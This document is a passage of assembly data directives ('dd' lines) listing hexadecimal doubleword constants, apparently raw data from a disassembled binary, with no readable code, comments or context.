		dd 0E46E5C4Fh, 240095ECh, 0DA7EB943h, 4A0E5027h, 0D7D4006Bh
		dd 83E1D9FFh, 0E701380Eh, 0E51583A3h, 0E3200069h, 115E39DBh
		dd 7E0747ADh, 87C7E7E0h, 5A181DA0h, 3D2400AAh, 78AD6EEEh
		dd 1F70E08Bh, 17BE1203h, 3CE5B66h, 0BAEC0550h, 2EC0FF73h
		dd 3B03F02Fh, 7C159008h, 0B6902DCh, 0E35EE3Ah, 8AA254E8h
		dd 0B6CA1514h, 48E332A0h, 6AE40EEh, 0FEB50257h,	22621CDDh
		dd 0F5839B41h, 0BAF1F9D8h, 0B5E702B0h, 0CB369B86h, 6315B868h
		dd 0F2C57E59h, 14C77464h, 84F5EE8Bh, 0E704B587h, 338EF034h
		dd 6802D201h, 1A573812h, 0F8BB40DEh, 0E162008Dh, 83A56B26h
		dd 0AB004A0Fh, 0D8A9F1AFh, 38432BDh, 0FCF775D0h, 0CBF080ADh
		dd 4A0F49DBh, 60D292A1h, 633A8BA6h, 0F29D00B9h,	5A8060A3h
		dd 6701319Ah, 0A983CCBBh, 4FF03D71h, 7F0AB034h,	36DA5DC7h
		dd 0EEB96800h, 7C9871DBh, 0A35C451Eh, 5D9330C0h, 0DC063Ch
		dd 628366D6h, 0FEE34A08h, 0B00424F3h, 8E4C29E4h, 5A0B06FFh
		dd 300875EBh, 1B2049C2h, 0BC0729D5h, 2D24AF05h,	0D7163360h
		dd 60654987h, 0C69128h,	0AD6A20C7h, 0DF66CE92h,	0FA539301h
		dd 9F04DC63h, 0B84895DDh, 1AE0AAh, 42F3E6FEh, 38ABCBD9h
		dd 51C07EE8h, 8C19E8A1h, 63768Fh, 0F4D4608Ah, 0DFEE70EDh
		dd 5837BC01h, 723E5C24h, 4CDE608Fh, 0B768D0ACh,	19F4048Ch
		dd 62D3E702h, 0FC75209Fh, 20FBD19h, 0E547B26Ah,	42C04508h
		dd 0A8D06E6Dh, 0A0855090h, 1CAE6CFh, 38DB3F9Ah,	0E85C25FDh
		dd 0A4A4640Dh, 0C38981C8h, 0E7D919D6h, 886818E3h, 1900FE77h
		dd 1A0656Ah, 6E6E47D1h,	0F1206044h, 0F82849DEh,	581839FEh
		dd 2010DD7Fh, 0E0E0FF19h, 9E6D002Eh, 0A8265A1Ch, 0F9E41E1Bh
		dd 774DDB00h, 427F6059h, 0F53A00E9h, 848AEC27h,	0C3007939h
		dd 0D8636717h, 1CEDBEh,	4712D177h, 0F7E05562h, 809A6900h
		dd 0EA2A2723h, 0D3E40075h, 531E7083h, 303BE029h, 876000A5h
		dd 205A2F01h, 0C1CD3ECAh, 19B9007Dh, 9BA1B18Dh,	0E00060EDh
		dd 0F9217678h, 0E252D6C4h
		dd 0A2080FA4h, 0BA01030Ah, 0D8ECE527h, 0ED00C431h, 6BFA7B8Eh
		dd 1D878BBEh, 40DC260Ch, 6F8839D9h, 2200F80Bh, 42CEFAAFh
		dd 3432D592h, 2AC866CDh, 7EEF04h, 9AF99B87h, 0EBECADABh
		dd 0D7DA100h, 0CF8EC96Bh, 507B66h, 18B58215h, 1DBB5F97h
		dd 31F38600h, 2A6BBD63h, 0B9E20683h, 2918164Eh,	22624B22h
		dd 4E221C1Bh, 41FE227Fh, 19115F42h, 872211Eh, 53904355h
		dd 1428A78Ah, 7F113CF6h, 5027282Fh, 7737C722h, 42FB88FAh
		dd 14401B89h, 806212EBh, 2388841Eh, 3B5B0F1Ch, 0C44EA23Ch
		dd 9AFE0BA0h, 0B003D487h, 62EFA1CFh, 24B2DA50h,	0F36540EEh
		dd 0AAB0DBh, 42EB7435h,	0E8CF14BEh, 8348BA00h, 814A6C8Bh
		dd 0A34F00DCh, 3B991D71h, 0F73A1372h, 6D5087D1h, 8DD13C70h
		dd 92EC0228h, 7A170053h, 0ABF34289h, 8F00566Dh,	4EC9BDE7h
		dd 0B2325Eh, 3D35F7Fh, 48042CAEh, 0FC8096Bh, 0FBA100C5h
		dd 0C7AFCF21h, 30924C28h, 0E6AA157Eh, 11012098h, 0B9217501h
		dd 4E4C7EDh, 16F101F0h,	0C543C184h, 5F0D600Eh, 5114A40Eh
		dd 9C8600CFh, 870962h, 0F21C4C72h, 0E1AC53FDh, 76AF9800h
		dd 29E4A4BEh, 62FECAh, 35ED343Ah, 0FAAD946Bh, 0C1EA4A00h
		dd 0A460433Fh, 0D616007Ch, 0FE6B6A5Ah, 0D00F219Ch, 0A0F37FA9h
		dd 86C01136h, 342D00D9h, 85F8390Dh, 0B83B1987h,	0A85381A0h
		dd 0B1A7AACDh, 58FE84F4h, 730086D5h, 0EBF11672h, 0DB000BC1h
		dd 21CDE6CBh, 0EF6D190h, 0E5A0C9E8h, 22167A20h,	3B00E4B1h
		dd 0B90B13C6h, 6D4C50h,	0D90A3A2Eh, 0BC2DC35Ah,	0E4F24501h
		dd 0F5E23B37h, 72EE64F4h, 98A30FC8h, 2DC0A175h,	8B93D21Fh
		dd 503F8D00h, 5FC50ABFh, 21E11D7Ch, 2D7A47F3h, 16C0B0C9h
		dd 9124C29Eh, 6500239Ch, 4D03A9B4h, 0E43700ABh,	0C2CCA1AFh
		dd 513DDFBEh, 397F8052h, 5D255408h, 0A0353CD1h,	0F0BB4198h
		dd 4B2C87A7h, 0D9001869h, 10AAA66Ch, 1DB50051h,	898AD55Ch
		dd 0CC00D786h, 38E3E4DDh, 1FBAC106h, 0DEADB4A7h, 913AF0F3h
		dd 7900B031h, 7F986F1Bh, 8CD635h, 0C89BD0C3h, 0B993DEC0h
		dd 0BFBD8B00h, 0E5E16FD9h, 0D0230735h, 102BE98Ah, 72AE7A7h
		dd 0FF000B71h, 0C251532h, 0E7274h, 0AC6E5CCh, 0B2F30257h
		dd 93223700h, 0EB5B1040h, 0B4F40230h, 0F7C1F9FAh, 68B18040h
		dd 0A9D42300h, 0A41879F5h, 535900F6h, 0BDDFCE52h, 5470573Ch
		dd 0C8027A12h, 3B275C01h, 0CBF08579h, 597D00F0h, 0F14DF405h
		dd 5D3C51DAh, 0A8B9009Bh, 10FDBB2Bh, 42C30006h,	0DB89E7F2h
		dd 0FE00ACA9h, 0D2C0A2AEh, 7E4771Bh, 75676BE5h,	5AAA9071h
		dd 6E24CE86h, 930E78A6h, 0E8F005Fh, 456CCAh, 5DFC93Ah
		dd 0CCFD133Eh, 9C183F02h, 8014921Dh, 0B4375A98h, 0A2633050h
		dd 3AC41040h, 3FB16D0Eh, 0A9C03C73h, 3D50D99Fh,	3CB5007Ch
		dd 0B39E054Dh, 12E46955h, 0E80EC230h, 0ED08786h, 0CC464589h
		dd 31794800h, 23004A3Bh, 0C67C545Ch, 119952Eh, 0D8579D47h
		dd 0F6F835h, 862BB1h, 0C46BC045h, 0DA158210h, 4DB71800h
		dd 0A372D855h, 601D019Eh, 9D79BF7Bh, 0C49BFDC8h, 9700F6B1h
		dd 4BA81572h, 4F9834Ah,	0EAE65B6Bh, 481081BFh, 1287E5EDh
		dd 0C554405Fh, 9B80004Ch, 0F71CDBF6h, 0C812DA77h, 7C491A5Bh
		dd 0C1AD004Fh, 17AD04h,	35871D95h, 52674203h, 4751A300h
		dd 0E5CBBB0Bh, 10DF48C4h, 9F7EE71Eh, 543E0004h,	2F066BF6h
		dd 7C3BBC1Eh, 4CFE0Eh, 22C3B3C0h, 0B59C00DCh, 117B4E03h
		dd 61009F2Dh, 66EA058h,	0E240EC7h, 1321B3F6h, 0D9D3421Eh
		dd 70613B7Dh, 2AD020ADh, 4B378D00h, 14D2566Eh, 20D501DEh
		dd 7A59C73Ah, 130C4F1h,	85106B13h, 2B8B2800h, 60B893F6h
		dd 17711074h, 15090124h, 81B576CBh, 0D64B382Ch,	0FC3E1301h
		dd 0AAE2E7CAh, 0C6C04903h, 0EA71FEA2h, 5D88EFCh, 3880C940h
		dd 129149FFh, 0AB0EEEh,	11A0E620h, 55488838h, 0C57E3F34h
		dd 0F7796D0h, 72237D68h, 6500022Bh, 3F4F1E99h, 9C7E6200h
		dd 0F6973247h, 7A5D0065h, 0C7F42122h, 0DE015E3Bh, 981586C8h
		dd 0D4308BF8h, 6A750C69h, 0A61EB7Ah, 52F9B80Fh,	0FFC00C3h
		dd 4C949B8Fh, 4005C0Dh,	0EBFA5565h, 80096E7h, 89802B8Eh
		dd 12105F05h, 0F0DC9B1h, 0E7E7CCEDh, 0BEB841A6h, 0E422E42Bh
		dd 0B0C18B2Ah, 0A8236700h, 4953F1F2h, 639238C5h, 8B7758FFh
		dd 0A2069100h, 372AC810h, 6F3B4400h, 8E6D1E58h,	0DBE500E0h
		dd 7831DA5Ah, 5200EC65h, 0C390C9E4h, 1405A49Ah,	0C0CF6B7Ah
		dd 9B36380Fh, 7EB337C0h, 5039E43Ch, 6CF70058h, 0A944644Ch
		dd 408700FAh, 1E0A9C7Ah, 7100CA66h, 48946D3Ch, 758DDDh
		dd 17A034A5h, 0EFEC1237h, 0BCE58100h, 86D37203h, 3A8CA00Eh
		dd 8E9400C1h, 346F0C08h, 0F30022BDh, 919D1383h,	3FD5F93Fh
		dd 9980ABB9h, 0B60671F2h, 87075D9Eh, 486F7482h,	0FAE5E350h
		dd 0C0920E96h, 0C03D3F4Eh, 21D225F2h, 5C71209Eh, 0E0D9EF00h
		dd 0CE3EC86h, 2C640096h, 0B618CC2Ah, 59001723h,	7D8C0D11h
		dd 0E2B91CAh, 6B369571h, 0D8C640BFh, 11B5FC4h, 0BCADF000h
		dd 15D0E2AAh, 2AF900CEh, 66275E04h, 6DE2C0D9h, 62B47900h
		dd 567FC8C1h, 0DD140037h, 2E96380Ch, 670445E6h,	0BF88B13Dh
		dd 89471C80h, 34CC009Dh, 23E1A3F8h, 1E009F73h, 2263CF13h
		dd 885897h, 0D36DE4B7h,	0FD2F750Ch, 0CD4C8FF8h,	6A6F0038h
		dd 634F79EBh, 0EDE809C3h, 88135BCh, 1366FFh, 0A070B4B3h
		dd 318D6F1h, 0D9442358h, 10B8572Fh, 4CC0027Eh, 0C53E88BDh
		dd 455300D2h, 9C3D26D8h, 8B00AA59h, 4BC74039h, 4217EDh
		dd 5A552E8Ah, 7A4499E9h, 26C0B600h, 5B0FDB56h, 9FDE5C78h
		dd 6D002A3Fh, 636F1A60h, 957D8B02h, 4B88E200h, 0B827F981h
		dd 0DC0B070Ah, 6713E7D2h, 577EE0A9h, 5200CDB1h,	25680D8h
		dd 8B679Ah, 5BB7D5EDh, 77B0519Eh, 1BB3C200h, 0DE7993A4h
		dd 367AE1h, 0ADB1DC1Dh,	0EBEE7435h, 93E36B01h, 56ED402Ch
		dd 4A475081h, 0C51BA2F0h, 0A859E4E6h, 0F7DF1E00h, 789F9237h
		dd 481FEE0Eh, 32009C54h, 0AC9ECFC5h, 611ECBB6h,	7640B78Dh
		dd 0BBB0AA6Ah, 0F1E10392h, 346EA9Ch, 31201000h,	74A0EDF7h
		dd 0B25A1C0Dh, 0D1064064h, 4F226BD6h, 0E5F1EF00h, 0B5966045h
		dd 0D4F500DEh, 0DD2BEAFBh, 7B075EA8h, 65403BDAh, 0CB60E417h
		dd 160A2C3h, 0CCD80E4Fh, 0DCEAFAFDh, 0E890242Bh, 2F6E9D00h
		dd 7743049Bh, 0AC980094h, 8975D3ABh, 0A900C8D6h, 54AAEAD5h
		dd 76CA8B3h, 69E89E49h,	0C8EF3033h, 9300C011h, 1B14F2AFh
		dd 43CF0Dh, 312D08F4h, 879B7FC2h, 20DD6F30h, 1DB1226h
		dd 901F62E8h, 0EC51B532h, 1005FACh, 0E025EF98h,	0F84D44h
		dd 86F103B6h, 5FBA6E9Ch, 5D43411Dh, 4000D491h, 0C8833DD2h
		dd 0E006C59Ah, 6AA607D1h, 279B0011h, 0E936A959h, 7D012C4Ah
		dd 0EC97879h, 0E8F47663h, 129D0342h, 6FD1AD06h,	33DD27C0h
		dd 0ACCB7A01h, 527515A2h, 9D2760h, 0A1B83DB1h, 0B91F48E2h
		dd 768A9B00h, 3E8D84E3h, 970D00DDh, 0F97B6AD0h,	69008B86h
		dd 22EC28E7h, 1A577BBh,	990B5760h, 0C8099F6Eh, 920EDD46h
		dd 47843E44h, 0CEB0F8D6h, 21B7C8Dh, 864B74F1h, 7D6097C1h
		dd 93017556h, 116E9B0Eh, 0E4F0AC53h, 584F283Ch,	3F430EDCh
		dd 28256CD9h, 97CD000Ah, 63AA92B9h, 0DE8ECD00h,	5BDFA7CEh
		dd 5D7BC8h, 74F78C9Ch, 0EDD56306h, 0B5CCF300h, 0EEC090B0h
		dd 64C9147Fh, 9308DC31h
		dd 3AA0BFh, 0C3898CE2h,	7D288A90h, 465D0076h, 8692EB65h
		dd 6602218Eh, 3D6A147Ch, 0A6C080CAh, 6BE4C2h, 31460EDDh
		dd 893786D6h, 2A495601h, 112D7F68h, 47FCC0F9h, 1D4B0FE2h
		dd 0BD207D04h, 0FCF7C757h, 412EC305h, 0CD0385A9h, 9919CC6Bh
		dd 0A0B9278Dh, 2CD4DE01h, 0E804BE4Fh, 88003C6Dh, 9F69AB61h
		dd 0CB2348h, 59E91A83h,	901EDBAEh, 41A54200h, 46AAC672h
		dd 0D07D0033h, 0F547039Fh, 14722FFFh, 42CD1B07h, 3607EDC4h
		dd 23EE8AF0h, 3E0A7CD4h, 74006CC5h, 9D415018h, 6D1FE304h
		dd 0E0C06FFDh, 0C04049F2h, 5D950077h, 33717C1Bh, 0C0EB8EFEh
		dd 0BC3BBE2Bh, 1956803Fh, 0F97E6C08h, 69CC0028h, 0DBB3158h
		dd 0BA50C573h, 14754E80h, 6E07887Ch, 2694A953h,	30AE9AE0h
		dd 0DA8A04Ch, 0CDE4A0F8h, 2AF10050h, 139BD80Ah,	88003D0Bh
		dd 2F1CC852h, 763A5A26h, 0A05314C2h, 4F07B4E1h,	5C40B675h
		dd 0E2012011h, 0FB9BDAB2h, 0B050A28Ch, 1CB3BF92h, 0C3A12F62h
		dd 0FEF91145h, 976D301Ch, 0CC82B740h, 7CD36ED8h, 10AB0089h
		dd 2D3E5074h, 0CE01C593h, 1AD8195Ah, 0E120A605h, 1B150907h
		dd 0C02443B2h, 7480802Ch, 0F100D51Dh, 45CA12CFh, 2E98AEh
		dd 0F49C0230h, 49A3FBCEh, 8EB4FF07h, 34C01FB1h,	0EAE813h
		dd 6008F314h, 708F5A28h, 0A53A7803h, 0B0FF0622h, 82F5B6h
		dd 9772B82Ch, 92AA6D9Bh, 0E456CE00h, 3769C7EEh,	868900FAh
		dd 2E8E4E1Eh, 9F0CC120h, 0A06FF007h, 55B000F6h,	2A8026FEh
		dd 4E3B45B2h, 0A72200F4h, 245FDE0Bh, 4ADC02F2h,	51FFC432h
		dd 0A98F4C60h, 0D2DB4CF4h, 1A348h, 29E06289h, 0D1391CEBh
		dd 75C8DA50h, 301D8D24h, 0EC05870Ah, 3A43DD1Dh,	0D3B0418Bh
		dd 853FF95Dh, 0DE00C0BCh, 0C756DD22h, 3E3C2F92h, 727263FBh
		dd 4E028849h, 0FE1C3EEFh, 189ED787h, 0B1A0F0B7h, 500745C7h
		dd 590AD0DAh, 24B0E40Ch, 985CB3h, 99AF9431h, 0C40045AEh
		dd 0B8B67F6Dh, 3DA10B9h, 0BC345C66h, 7BD0EAD0h,	35000709h
		dd 558D732Ah, 0A6331Ch,	8910F845h, 0FBC2E65Ah, 23A74D00h
		dd 5DE8DAADh, 0A95800C6h, 0EE9355F8h, 4604C369h, 0BCA88AA7h
		dd 0D85CB483h, 3F4E1B48h, 0D00CEB9h, 0D2C8560Eh, 8903F00Fh
		dd 64B78A4Dh, 71EC370h,	0E7C0938Eh, 5EDF2033h, 5D0E0241h
		dd 0E0CD80D3h, 0D5E4243Eh, 0A0C978FAh, 0D70EC0h, 0D4065B42h
		dd 0EA590FBFh, 389A8000h, 9D3BECC6h, 35B50083h,	0B15FA337h
		dd 6200E776h, 44C5D503h, 26A6B6DAh, 0E138A7h, 3598DD8Ch
		dd 1D005ECBh, 0B8B1BAB5h, 1F69348h, 91820CAFh, 24A30162h
		dd 9D3D1C4Ch, 6187805Fh, 0CC59A71Fh, 1FB00C1h, 2451C76Fh
		dd 0AA0AA58Bh, 0D04A90C0h, 0D4BC4007h, 0C710DFD1h, 0BBFA30h
		dd 0F7CD373h, 0EE676D20h, 0D332BE2Eh, 9AD3B00h,	1D7B4E0h
		dd 569675F2h, 0D80671D3h, 59006288h, 3F5DD9F8h,	2C7A2B67h
		dd 9D7C023Ah, 1F35344h,	51652937h, 0F818A053h, 0E328920Bh
		dd 2ADE0055h, 0E423DFh,	0EC804847h, 4CA6D32h, 305F8730h
		dd 0F1EA44Ch, 51753D8Bh, 0D9EA32C0h, 0CF00B7CEh, 15BCA179h
		dd 16B4242Eh, 5D4E0A6h,	0C1A2FEB5h, 2409B124h, 470307E4h
		dd 9891EFFAh, 672009Ah,	4AD6769Fh, 1F004990h, 0C061BEABh
		dd 90856750h, 1E680A7Eh, 1E93AE4h, 3E3D0836h, 0C6B1E491h
		dd 866CB63Dh, 5E971CEEh, 7ADA0033h, 0E6F2E87h, 8E509388h
		dd 400C0C8h, 1045CB73h,	12F6F541h, 785E809h, 39AA9F2Ch
		dd 5C6104A3h, 0B8C0439Ah, 0F0768F87h, 0E078BE6Eh, 5DEDC558h
		dd 1121C1F2h, 60776A68h, 9E7D036Ch, 27009FF2h, 59244122h
		dd 1205A484h, 7543FCh, 3090A0E4h, 201D87C4h, 8A447D1Dh
		dd 0FC808C81h, 9411C2h,	7CDBED2h, 0E78DB8C1h, 0D05F2226h
		dd 0FB084703h, 277C083h, 2B26003Bh, 0A7E1A340h,	140F0A94h
		dd 0E0F35E0Eh, 4FBD9903h, 0EC710090h, 73398F5Ch, 26008667h
		dd 0E13D3EBFh, 39FA0121h, 0EB0071A7h, 0B4AEA47Ch, 0B1E2CFD9h
		dd 73E2BD00h, 7AC1179Fh, 0F46D0082h, 0F947D138h, 0A500BF3Bh
		dd 859EDAF0h, 24FEEDh, 216FB2DFh, 0AD669749h, 13BDCF07h
		dd 3D10F9D6h, 981819h, 0C84F6D6Ah, 0E5BE06Bh, 499B0900h
		dd 8977A95h, 0B3FB0089h, 724FB948h, 0CD005C17h,	652B5678h
		dd 3884264Ch, 0B389C866h, 0AA00F005h, 0CFAB9872h, 10F1D730h
		dd 2C25623h, 636A9616h,	8B80582Ch, 6C36D56Fh, 1D0523ECh
		dd 9CEBE073h, 3CDA6481h, 0DE4E8440h, 0B10C0FF3h, 59603616h
		dd 9A73EE86h, 5E3C1700h, 87DE1F7h, 163E076h, 470C09F2h
		dd 30CD0FADh, 733D2594h, 7BB8CB7Eh, 0E4392100h,	167CF386h
		dd 22A6D70Eh, 42F020C0h, 24CCA1h, 43F6B4E6h, 7E4BC6ECh
		dd 0EB873A00h, 0C96CE453h, 1CBAB0BCh, 0C0A9DD2Ah, 8D970411h
		dd 583D0338h, 59EB9872h, 0FA93B0h, 34F06F23h, 0EC4166A7h
		dd 0F600B1FEh, 0C844FDD4h, 0D08658h, 18A0DB29h,	8ECB26E7h
		dd 0FD333400h, 8D908B79h, 72C000Eh, 5CA5023Eh, 88048EAEh
		dd 95DC1091h, 49E0F7C7h, 3DA8C5h, 70C1BDD5h, 7860E911h
		dd 833248h, 34E8BA56h, 27CF73h,	5140DF4Ah, 0A7E549C8h
		dd 0DC3C5A78h, 0DC480B7h, 41BC3642h, 0EDF10977h, 56012C18h
		dd 0C9F4CBDBh, 0CDF560FDh, 240E92E4h, 60B342F5h, 9E43154Bh
		dd 0D4140559h, 0FFCB9Ch, 0D68A78D5h, 1E001FDFh,	90A4F154h
		dd 52B45DBh, 623BE37Fh,	0A540C077h, 3700C574h, 678921E0h
		dd 0C0901920h, 4A36EC60h, 56755752h, 0DB8C3501h, 0E0124FC3h
		dd 7E4EE6F0h, 3FC000A0h, 981D36C2h, 0FD001662h,	56F985B5h
		dd 48DCF71Ah, 65007846h, 0B4C24E48h, 0EE0092E4h, 871F0BD0h
		dd 7981040h, 0C93E21A6h, 4EB60BBh, 85008389h, 9D8653DBh
		dd 2EE918h, 724E31A7h, 922F0837h, 6761FC01h, 43FAC86Fh
		dd 0C2809DD7h, 75A490Ah, 61D76581h, 83F17093h, 190487CBh
		dd 98A0FD04h, 0B2094080h, 3084F0D8h, 25907168h,	6A00F70Eh
		dd 7FE99DEBh, 94C8ECh, 0C60FC5B7h, 636EA986h, 0A3629200h
		dd 2C7090C9h, 0BC52005Ah, 0F2B56683h, 0EB009F87h, 0E4EF35C7h
		dd 1EEA4C2h, 73FD47D6h,	0C83E3750h, 22142D1Eh, 14DA5EC3h
		dd 0EBC1B0Dh, 5F350639h, 0B940949Dh, 0F0C5B869h, 0CA2612D1h
		dd 0F400EE3Ch, 3DFAF948h, 0CD590082h, 2A67D3DBh, 0B3008A3Eh
		dd 0F28E4B06h, 3A8BCA1Eh, 4D9F92CBh, 0E8900030h, 61AD7A54h
		dd 29744B00h, 5102C271h, 7128E4A5h, 0C04900C9h,	8B8A31C3h
		dd 8C09051Bh, 8044FA6Ah, 79036053h, 52681EA8h, 22570010h
		dd 9E17A61Fh, 0AF0086F2h, 69F85AFEh, 500798h, 9054FBFDh
		dd 2DF34118h, 7A098903h, 0C5C4DAE8h, 3E6100C0h,	478A07DCh
		dd 95877341h, 50DA831Bh, 998589F8h, 0DA9A3600h,	0C07B4E6Ch
		dd 2EDC00D6h, 47190B14h, 0CE2808F6h, 3B0088FEh,	0DDD31EA9h
		dd 587306B6h, 5C00DDFCh, 0F6854E9Eh, 0C01E45BCh, 0C2C32CFBh
		dd 9F01A1A7h, 215A97F0h, 5F6B0718h, 83F48FA6h, 0FED00E3Ch
		dd 990534BCh, 0EE07B3B0h, 8F0AC00h, 0E6A3C64Dh,	540A0574h
		dd 805D2B77h, 0F537AB95h, 0CE672902h, 64DD6BF3h, 0F7992494h
		dd 7F570360h, 65BB0456h, 309650D0h, 0C1EC42EEh,	9A675100h
		dd 0F7724D2Ah, 0E05E00F4h, 0DCCD501Ah, 0DD001F9Dh, 173F8981h
		dd 50F05706h, 21944Eh, 3638B6A7h, 6BFD7F16h, 0EB7D9E00h
		dd 7C14B087h, 28030023h, 0B84385Dh, 2403294Bh, 7D5F89ADh
		dd 6CD3B07Bh, 0A307001Ah
		dd 35E8DD7Ch, 4B37A077h, 3AA3E0EBh, 0E1D0C7E6h,	0F65FCFBDh
		dd 84F7480Ah, 0EB243517h, 65681900h, 0FE2F4458h, 6E320083h
		dd 699A28C0h, 9548D487h, 0CA5F054Ch, 0BC1E471Eh, 23811B41h
		dd 1AD0CB4Ch, 0DC1C070Fh, 70053EA5h, 3FB2E8AAh,	4B324A18h
		dd 497F75C8h, 7400D420h, 7ACA31AEh, 2F6327D2h, 0D8030C12h
		dd 167F099h, 5A831FC5h,	0E8F409C1h, 0EA000E8Fh,	0B2B1B97Fh
		dd 71D1D9DFh, 7AE100BEh, 0D6F7640Dh, 5F0049C3h,	0CB53CF25h
		dd 2412733Fh, 3E20B97Ch, 8FAA1D07h, 91AE8E69h, 400B2E9h
		dd 65151FC4h, 0B0649B00h, 8CFA0810h, 0BE801D2h,	0E14DD45Dh
		dd 7E2180AEh, 60EC204Eh, 0CBE40Ch, 5A04418Ah, 3BD97D80h
		dd 0CD32FB00h, 0E66326ABh, 30B22656h, 31CF00FEh, 0B04B4F78h
		dd 6CCDD600h, 0AC95E1D8h, 747D0023h, 66A61BEBh,	0E3B080EFh
		dd 9838721Dh, 50559A80h, 774B8C0h, 0E5693184h, 277CA0B9h
		dd 0F2000D44h, 60AAACDCh, 0C59E1Eh, 9B14328Bh, 4C5CD350h
		dd 0E23F48h, 0A294C3F2h, 8E45DDh, 27CC884Dh, 43C83356h
		dd 0A40FF91Ch, 0EC63A7C0h, 0B034FA1Fh, 2C363023h, 692017F6h
		dd 0ADCECB01h, 0CF375A3Dh, 2981ABFDh, 0BB8B6422h, 6916CCE6h
		dd 39CD2900h, 880EBF61h, 0F4370003h, 0DC96B42Bh, 0FD077EFCh
		dd 0CEA0196Ch, 86D83D81h, 90D6DC34h, 0D2CC0E17h, 0AC00B563h
		dd 8D4C25C5h, 6639D52Eh, 62333F00h, 2E0164B9h, 7A6C89h
		dd 18A6E880h, 817675C8h, 471A3Bh, 77570836h, 11C7385h
		dd 0EF62BA3Bh, 40F00FDFh, 50E8E1D4h, 42E7F00h, 99E46353h
		dd 0B9400D55h, 0F291D4C8h, 8C806A60h, 81D6D51Fh, 0BCC3A3Ah
		dd 0A0DCBFBEh, 0B6BC39A0h, 0E6B39075h, 33A33B4Dh, 16A21A81h
		dd 241DCA5Dh, 0EE039CECh, 5C96BED4h, 0A06DD33Dh, 17BB843h
		dd 0D1E7F049h, 0F98BAEA3h, 0D777D021h, 17ED8100h, 8D4139Ch
		dd 5E5C1D7Dh, 0C3C2875h, 22A44F43h, 270C1A61h, 586EA14Eh
		dd 99ED023Bh, 659B8B0Fh, 0F3460883h, 3F097903h,	1C7512B6h
		dd 0A8A0E0E8h, 0A480332Ch, 800E3F0h, 7514B7D3h,	17CEB42h
		dd 29443762h, 0F8347FB3h, 0E300DF8Ah, 0ED55C2C0h, 221C73Bh
		dd 25DD52Bh, 6160A011h,	62006EE0h, 0C57BD0C0h, 0FC5A61C6h
		dd 9087005Eh, 853C0A19h, 88386FE5h, 0CA6D00AEh,	62C0C433h
		dd 0E2741D65h, 0D8CF1848h, 0A1004F9Eh, 9D369C07h, 5A3102h
		dd 0A0596C9Fh, 0E2661442h, 8010C23Dh, 9C244579h, 62DF5Fh
		dd 60CB8B0h, 84640733h,	34ADD107h, 4EE0D759h, 3BBE98CFh
		dd 6B8047E7h, 0EB8CF9E5h, 0D40064DAh, 78FFA7BCh, 1661F3Dh
		dd 3A91C40Ah, 0DBA608D3h, 6FE03FE3h, 4152F1E0h,	492900A0h
		dd 9481D1CBh, 0B61E33D5h, 217F5F09h, 0A9CB5100h, 2CD71768h
		dd 0F2E7067Ch, 50DE50EEh, 6C0B8603h, 0C0D35BE5h, 3551FBD4h
		dd 0EB788A30h, 3D86810h, 0C5D167E8h, 482010C2h,	0E05C5488h
		dd 87369377h, 7E1036B8h, 46F73F01h, 0D55CCD01h,	0D15D5EA0h
		dd 4B318044h, 479EF7CCh, 0A9596242h, 0A9600591h, 0B700246Ah
		dd 3DC11A27h, 3EFC378h,	5D9B2E12h, 3BC84582h, 2429ED77h
		dd 0F01188AAh, 0D2CB4680h, 1E214C81h, 0E002081Dh, 0CB4E7600h
		dd 7DCBCFAh, 0E24046F9h, 55E6830Ch, 405D2EA1h, 0C9B96A84h
		dd 3B20D407h, 7926F456h, 0CA380718h, 0C11F3E0Dh, 509FC476h
		dd 0DF08C39Ch, 5E60E3F0h, 0EBF7A410h, 27781E65h, 3E7D4B2Ah
		dd 0EC809909h, 870F3FA9h, 0D17E4300h, 38A188ABh, 0FC190309h
		dd 63135958h, 0DCBA14A8h, 389C9758h, 49EA9D9Dh,	5AD29E00h
		dd 52CCCDh, 0C38C2765h,	0E072846Bh, 2298900h, 7E2235ECh
		dd 0F4C50051h, 0A5AF14FDh, 0D63B5BE9h, 0B4F600E2h, 0BF10FB29h
		dd 22880108h, 0E8D394A6h, 934080D5h, 650BA115h,	6BDF0C4Eh
		dd 0FD19EE4Ch, 3D816900h, 2710A83Ah, 438D0040h,	8770091Ch
		dd 7E009798h, 7C37EE02h, 0FE8604h, 0C3A9BFACh, 7799A7A5h
		dd 8EF33B00h, 9553C0F9h, 47A800FFh, 6BDEE566h, 69C090FCh
		dd 4673AAC7h, 81401DBAh, 0C0301F4Eh, 8B41504h, 0E7034A83h
		dd 7E4488E2h, 0CE98A0F7h, 9BEE86h, 9537812Bh, 0FD656FB1h
		dd 4685400h, 0BB4B5C85h, 21B514F6h, 5100BC71h, 10D76489h
		dd 9003C9A0h, 8C1BBEFh,	39A3EEh, 10CE0121h, 0DFCA5A37h
		dd 0F9552000h, 8CCBDB33h, 323C010Bh, 24BB4C8Fh,	9D308970h
		dd 6F1B837Fh, 0CE40E0B5h, 0B9041805h, 6844514Ah, 0AC3207E8h
		dd 8F5E117Fh, 1E462096h, 2EFF509Dh, 18ED9C8Eh, 21A02052h
		dd 737C3Dh, 0D4F1A2BAh,	0E33997Dh, 0DD044CB4h, 2060F82Dh
		dd 50604681h, 0B044FF18h, 90B650ABh, 6690051h, 15E3888h
		dd 36334D29h, 0E6F0810h, 88FEF721h, 3AABFA01h, 876861B5h
		dd 3CBE38A8h, 0D160FCh,	6A07E12h, 50234563h, 3FC8FA00h
		dd 604477ADh, 9BA100D2h, 0C77BAC1Bh, 263F1A32h,	2FE30610h
		dd 5E2CA6h, 0BACD118h, 0CE41FDF8h, 0A84ECD00h, 0E97F521Dh
		dd 0D2650022h, 6CCF128Dh, 63078CB0h, 36AAB391h,	353479D0h
		dd 0D9200053h, 30B4DEE8h, 2A1F58F3h, 2107DA82h,	49C08643h
		dd 706114h, 0CAFA7DD9h,	4616FB44h, 8500FD70h, 0B60549E1h
		dd 145EF01h, 0A28B07F8h, 0D4901EDCh, 173CF1A5h,	0B15C80FEh
		dd 36A62797h, 7EB40218h, 134D563Ch, 805D0495h, 85F8C6E6h
		dd 0E20762A4h, 0DC64AA2Ch, 331AB200h, 39E90080h, 30AF5D36h
		dd 0AB3CBAF7h, 3BB3A2Fh, 0A5B6DF38h, 0AEB7E077h, 34E300D3h
		dd 6A3676B0h, 0DA3B63A2h, 0E25C9D35h, 5679003Ch, 0DC40AA71h
		dd 0B6985Ah, 73A534F8h,	5D9D66EDh, 776DF700h, 0A6BA022Dh
		dd 4BF40099h, 3DB036E9h, 30632331h, 887544B8h, 3B5F3ACFh
		dd 0CD8787B7h, 93206434h, 78830EFh, 44181101h, 23297C4Bh
